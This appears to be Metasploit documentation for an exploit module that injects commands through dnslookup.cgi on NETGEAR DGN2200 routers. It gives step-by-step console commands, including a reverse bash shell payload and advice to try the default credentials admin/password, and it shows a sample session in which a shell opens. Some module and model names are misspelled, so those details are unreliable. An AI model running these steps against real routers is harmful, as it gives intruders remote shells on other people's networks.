## Vulnerable Application NETGEAR DGN2200v1, DGN2200v2, DGN2200v3, DGN2200v4 routers ## Verification Steps 1. start `msfconsole` 2. `use exploit/linux/http/netger_dnslookup_cmd_exec` 3. `set RHOST 192.168.1.1` `<--- Router IP` 4. `set USERNAME xxxx` (see [here](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md#options)) 5. `set PASSWORD xxxx` (see [here](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md#options)) 5. `set PAYLOAD cmd/unix/reverse_bash` 6. `set LHOST 192.168.1.x` 7. `set LPORT xxxx` 8. `run` 9. Get a session ## Options **USERNAME** The `USERNAME` option sets the username to authenticate the request with. The command injection will __not__ succeed if the username and password are not correct. The default username for NETGEAR Routers is `admin`. If you don't know the credentials, your best bet will be to use the default username and password. **PASSWORD** The `PASSWORD`options sets the password to authenticate the request with. The command injection will __not__ succeed if the username and password are not correct. The default password for NETGEAR Routers is `password`. If you don't know the credentials, your best bet will be to use the default username and password. ## Advanced Options **HOSTNAME** The request is went with a `host_name` POST parameter. This option sets this parameter. The default is `www.google.com`. The reason for the parameter is that the file that this vulnerability is located in (`dnslookup.cgi`) actually needs a domain to resolve, or else the injection won't work. ## Scenarios What it should look like against a vulnerable router. ``` msf > use exploit/linux/http/netgear_dnslookup_cmd_exec msf exploit(netgear_dnslookup_cmd_exec) > options Module options (exploit/linux/http/netgear_dnslookup_cmd_exec): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD yes Password to authenticate with Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOST yes The target address RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections USERNAME yes Username to authenticate with VHOST no HTTP server virtual host Exploit target: Id Name -- ---- 0 NETGEAR DDGN2200 Router msf exploit(netgear_dnslookup_cmd_exec) > set RHOST 192.168.1.1 RHOST => 192.168.1.1 msf exploit(netgear_dnslookup_cmd_exec) > set USERNAME admin USERNAME => admin msf exploit(netgear_dnslookup_cmd_exec) > set PASSWORD password PASSWORD => password msf exploit(netgear_dnslookup_cmd_exec) > run [*] Started reverse TCP double handler on 192.168.1.9:4444 [+] Router is a NETGEAR router (DGN2200v1) [*] Sending payload... [*] Command shell session 1 opened (192.168.1.9:4444 -> 192.168.1.9:53352) at 2017-03-02 19:36:47 -0500 ```